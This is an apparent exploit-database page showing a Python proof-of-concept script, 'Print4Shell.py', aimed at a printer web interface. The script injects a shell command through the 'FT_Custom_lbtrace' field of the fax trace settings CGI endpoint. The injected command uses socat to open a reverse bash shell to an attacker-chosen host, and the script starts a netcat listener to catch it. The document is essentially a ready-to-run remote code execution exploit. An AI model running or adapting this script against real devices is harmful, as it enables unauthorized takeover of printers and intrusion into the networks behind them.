4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / Print4Shell.py PY
#!/usr/bin/python3
import argparse
import os
import requests
import threading
import time
import urllib.parse


def start_listener(lport):
    print(f'[*] Starting listener on 0.0.0.0:{lport}...')
    os.system(f'nc -l {lport}')


def send_payload(url, data):
    time.sleep(2)
    print(f'[*] Sending payload to server...')
    requests.post(url, verify=False, data=data)
    print('[*] Sent payload')

def exploit(target, callback_host, callback_port):
    print(f'[*] Sending wakeup 1...')
    requests.get(f'http://{target}/', verify=False)
    
    print(f'[*] Sending wakeup 2...')
    requests.get(f'http://{target}/', verify=False)

    payload = f"socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:{callback_host}:{callback_port}"
    url = f'http://{target}/cgi-bin/fax_change_faxtrace_settings'
    data = f'FT_Custom_lbtrace=$({payload})'

    t = threading.Thread(target=send_payload, args=(url,data), daemon=True)
    t.start()

    start_listener(callback_port)


if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-r', '--rhost', help='The IP address of the target', required=True)
    parser.add_argument('-l', '--lhost', help='The IP address of the listening post', required=True)
    parser.add_argument('-p', '--lport', help='The port of the listening post', default=443)
    args = parser.parse_args()

    exploit(args.rhost, args.lhost, args.lport)